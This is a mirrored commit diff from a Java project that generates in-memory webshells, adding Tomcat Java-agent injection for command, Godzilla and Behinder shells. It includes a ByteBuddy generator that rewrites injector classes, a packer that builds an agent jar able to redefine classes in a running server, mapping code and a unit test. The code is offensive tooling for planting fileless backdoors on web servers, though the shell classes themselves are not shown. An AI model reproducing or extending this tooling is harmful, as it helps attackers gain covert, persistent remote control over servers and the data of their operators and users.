mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support tomcat agent shell (resolved #12)
This commit is contained in:
@@ -47,7 +47,7 @@ dependencies {
|
||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||
implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||
implementation 'xalan:xalan:2.7.0'
|
||||
implementation 'org.apache.bcel:bcel:5.2'
|
||||
|
||||
|
||||
@@ -1,10 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Collections;
|
||||
|
||||
@@ -10,9 +10,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
@@ -28,19 +31,23 @@ public class TomcatShell extends AbstractShell {
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||
public static final String AGENT_JAKARTA_FILTER_CHAIN = AGENT + "JakartaFilterChain";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
|
||||
JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
|
||||
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
||||
WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
|
||||
return Map.ofEntries(
|
||||
Map.entry(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
|
||||
Map.entry(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
|
||||
Map.entry(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
|
||||
Map.entry(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
|
||||
Map.entry(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
|
||||
Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
|
||||
Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||
Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||
Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
|
||||
);
|
||||
}
|
||||
|
||||
@@ -54,7 +61,9 @@ public class TomcatShell extends AbstractShell {
|
||||
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -68,7 +77,9 @@ public class TomcatShell extends AbstractShell {
|
||||
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -18,4 +18,6 @@ public class Constants {
|
||||
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
|
||||
public static final String AGENT = "Agent";
|
||||
}
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
*/
|
||||
public class AgentGenerator {
|
||||
|
||||
private final ShellConfig config;
|
||||
private final InjectorConfig injectorConfig;
|
||||
|
||||
public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
|
||||
this.config = config;
|
||||
this.injectorConfig = injectorConfig;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectorConfig.getInjectorClass())
|
||||
.name(injectorConfig.getInjectorClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||
.method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
+6
-9
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
@@ -28,7 +27,7 @@ public class BehinderGenerator {
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (behinderConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
||||
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
||||
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
||||
@@ -39,11 +38,9 @@ public class BehinderGenerator {
|
||||
.redefine(behinderConfig.getShellClass())
|
||||
.name(behinderConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
|
||||
.field(named("pass")).value(md5Key)
|
||||
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
|
||||
+4
-7
@@ -7,10 +7,8 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -22,13 +20,12 @@ public class CommandGenerator {
|
||||
if (shellConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
}
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(shellConfig.getShellClass())
|
||||
.name(shellConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
.field(named("paramName")).value(shellConfig.getParamName());
|
||||
|
||||
if (config.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
|
||||
+7
-10
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
@@ -40,13 +39,11 @@ public class GodzillaGenerator {
|
||||
.redefine(godzillaConfig.getShellClass())
|
||||
.name(godzillaConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
|
||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));
|
||||
.field(named("pass")).value(godzillaConfig.getPass())
|
||||
.field(named("key")).value(md5Key)
|
||||
.field(named("md5")).value(md5)
|
||||
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Enumeration;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarFile;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public class AgentJarPacker implements JarPacker {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(GenerateResult generateResult) {
|
||||
Path jarPath = Files.createTempFile("temp", ".jar");
|
||||
String mainClass = generateResult.getInjectorClassName();
|
||||
String advisorClass = generateResult.getShellClassName();
|
||||
|
||||
Manifest manifest = new Manifest();
|
||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
|
||||
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
|
||||
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
|
||||
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
||||
|
||||
try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
|
||||
addDependency(targetJar, ByteBuddy.class);
|
||||
|
||||
if (generateResult.getShellConfig().isJakarta()) {
|
||||
addDependency(targetJar, jakarta.servlet.Servlet.class);
|
||||
} else {
|
||||
addDependency(targetJar, javax.servlet.Servlet.class);
|
||||
}
|
||||
|
||||
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
||||
targetJar.write(generateResult.getInjectorBytes());
|
||||
targetJar.closeEntry();
|
||||
|
||||
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
|
||||
targetJar.write(generateResult.getShellBytes());
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
byte[] byteArray = IOUtils.toByteArray(new FileInputStream(jarPath.toFile()));
|
||||
FileUtils.deleteQuietly(jarPath.toFile());
|
||||
return byteArray;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
|
||||
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
|
||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry entry = entries.nextElement();
|
||||
String entryName = entry.getName();
|
||||
if (entryName.startsWith(packageToMove)) {
|
||||
InputStream entryStream = sourceJar.getInputStream(entry);
|
||||
targetJar.putNextEntry(new JarEntry(entryName));
|
||||
IOUtils.copy(entryStream, targetJar);
|
||||
targetJar.closeEntry();
|
||||
entryStream.close();
|
||||
}
|
||||
}
|
||||
sourceJar.close();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public interface JarPacker extends Packer {
|
||||
}
|
||||
@@ -17,7 +17,13 @@ public interface Packer {
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 指定格式字节数组
|
||||
*/
|
||||
String pack(GenerateResult generateResult);
|
||||
default String pack(GenerateResult generateResult) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||
}
|
||||
|
||||
default byte[] packBytes(GenerateResult generateResult) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
|
||||
}
|
||||
|
||||
/**
|
||||
* 部分打包器可能需要配置来进行额外的配置项
|
||||
@@ -70,6 +76,8 @@ public interface Packer {
|
||||
Freemarker("Freemarker", new FreemarkerPacker()),
|
||||
|
||||
Velocity("Velocity", new VelocityPacker()),
|
||||
|
||||
AgentJar("AgentJar", new AgentJarPacker()),
|
||||
;
|
||||
|
||||
private final String desc;
|
||||
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
class GodzillaGeneratorTest {
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void generate() {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(Constants.SERVLET)
|
||||
.targetJreVersion(Opcodes.V1_6)
|
||||
.debug(true)
|
||||
.build();
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
.shellClass(GodzillaServlet.class)
|
||||
.pass("pass")
|
||||
.key("key")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test").build();
|
||||
DynamicType.Builder<?> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
|
||||
Class<?> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
|
||||
Object o = loaded.getDeclaredConstructor().newInstance();
|
||||
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
|
||||
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
|
||||
assertEquals(godzillaConfig.getHeaderValue(), ClassUtils.getFieldValue(o, "headerValue"));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user